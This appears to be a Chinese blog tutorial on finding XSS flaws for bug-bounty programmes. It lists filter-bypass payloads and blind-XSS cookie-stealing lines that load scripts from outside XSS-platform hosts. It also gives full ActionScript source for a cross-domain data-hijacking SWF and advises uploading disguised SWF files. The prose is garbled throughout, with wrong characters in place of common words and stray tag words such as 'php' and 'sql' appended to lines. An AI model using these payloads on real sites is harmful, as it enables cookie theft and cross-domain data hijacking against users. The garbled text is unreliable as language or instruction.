在挖掘SRC中,不少人挖洞都是挖掘的XSS漏洞,随着Web安全的普及,人类愈来愈注重自身网站的安全。javascript
来一篇简单的黑盒测试XSS漏洞的一点方法和我的的一些看法php
通常测试XSS漏洞,通常是简单测试下,而不是直接深层次的绕过代码直接去碰,测试XSS常规的XSS测试语句是:css
"><img/src/onerror=alert(1)>html
屡试不爽java
先讲一个简单的,在测试XSS漏洞的时候,当咱们使用这个语句的时候,通常浏览器/网站自身都有过滤和防御程序员
因此很无奈,这种payload遇到大型网站通常GG了!web
想让这种普通payload触发咱们该如何去作?sql
我来讲一个我实际遇到的状况:shell
假设有个提交的表单的页面:表单提交的页面有个添加网站的功能,添加网站功能作了验证,他只容许添加网站,而不容许添加那些非网站的信息,只容许http://xxx.com这种,而不容许text文档。跨域
遇到相似于这种状况,就是至关于你遇到当网站遇到限制你操做的时候,只容许作某种输入的时候,那么就颇有可能存在XSS漏洞。
咱们先输入正确的输入规则而后抓包,而后咱们把正确的输入规则改为错误的规则,就是咱们上面常规的XSS Payload:
而后咱们发包:
这只是其中一种状况,这种漏洞仍是蛮常见的。我遇到了好几回了
咱们知道不少时候XSS漏洞的修复不是白盒修复,而是黑盒修复,修复的并不完善:
有的XSS修复是只过滤了script而没有进行其余标签的过滤:
提供一点XSS语句:
<embed src="http://www.baidu.com" />
<style onload=alert(1)>
"><iframe onload=alert(1)>
<input oninput=alert(1)
不少时候咱们会发现使用其余payload会出现意想不到的效果:
网页编码GBK格式绕过过滤方法:
%bf<script%bf>%bf</script/%bf>
以前看了个百度的发帖输入XSS payload弹窗的存储型xss漏洞,所用的payload 是:
<iimgmg src=# onerror=alalertert(document.cookie)>
双代码绕过思路。其实不少时候输入常规代码不弹窗的时候不要气馁,尝试使用其余payload
关于XSS盲打,通常是直接借用XSS攻击平台最普通的XSS打cookie语句:
</tExtArEa>'"><sCRiPt sRC=http://2xss.cc/VgFl></sCrIpT>
如今程序员对盲打cookie使用这个语句多少有点了解,都会禁止传输textarea标签,等价于这条盲打语句的是:
<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://oxss.cn/Qs13>sss</a>
我临时使用的XSS测试平台是:
http://xxx/xss.php?do=project&act=create
不少时候会对<>进行过滤,咱们能够进行各类编码绕过这里不讲了,《心伤的瘦子的XSS》文章介绍的很清楚了!
关于callback,随着互联网的发展,接口出现的频率愈来愈高,我以前测试的一个网站,百分之80的网站接口都是callback,那么callback接口是否会存在什么安全隐患呢 ?
答案是必然的,他会存在sql注入,XSS等。
这里主要是弹XSS漏洞
提供几个接口测试的XSS payload:
<img src=1 onerorr=alert(1)>
javascripr:alert(1)
vbscript:alert(1)
举例子三个,我只是抛砖引玉,还能够延生不少XSS语句好比 prompt弹窗均可以,包括大小写,均可能形成弹窗!
不少时候XSS是过滤的是那些js标签和HTML标签,他没有过滤css标签,那么css外部引用漏洞就变得有隙可乘了
(1) <span style="font-size:99px;">aaaa</span>
(2) <span style="font-size:99px; background:url('//timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1508326019771&di=20c2f2ee7f6c14f62ea9984fd1ebfbd3&imgtype=jpg')">aaaa</span>
最后一点关于crossdomain.xml
不少网站,都存在crossdomain.xml文档,你们必定要注意这个文件,不少高危漏洞都由于他,crossdomain.xml是能够致使跨域的一个重大缘由之一。有句话个人印象很深入,一个swf文件至关于一个高危漏洞,当swf遇到crossdomain.xml文档就是高危的产生。
swf文件的利用格式是不少的, 提供一份swf文档代码:
package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/
public class CrossDomainDataHijack extends Sprite {
private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;
var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}
private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}
private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}
private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}
private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}
private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}
private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}
}
他的绕事后缀有好几种:
你们要格外注意这一块漏洞!
要记住文件上传不只仅能够是拿webshell,还多是跨域劫持哦。假设文件上传不存在php,asp,aspx,jsp等文件的上传不要灰心,应该尝试html后缀和swf后缀或者是swf文档的隐藏gif png jpg格式的上传。漏洞挖掘中,咱们不该该错过任何一次尝试,每一次错过表明你与漏洞将失之交臂。要始终坚信即便是最安全的系统也可能存在安全漏洞,一切皆有可能。
关于flash xss文档的制做:
简单的XSS payload制做:
getURL("javascript:alert('test')");
假如咱们把咱们的swf文件发给其余用户是否会进行文件未对swf的过滤处理?致使收件人预览/打开文件的一瞬间瞬间弹窗呢?
一切皆有可能。
我上面所讲的,我都亲身体会挖掘过,附带的提一下CRLF这种漏洞的挖掘思路:
详情我不说了,看细节文章吧:
http://www.secevery.com:4321/bugs/wooyun-2016-0173904
写的很详细,本人很是佩服! XSS问题是个持续性的安全问题,须要广大的安全爱好者们去深刻挖掘和突破,他远没有我说的那么简单,他很复杂,值得研究,做者只是抛砖引玉,之后遇到更好的挖掘方式,自会更新!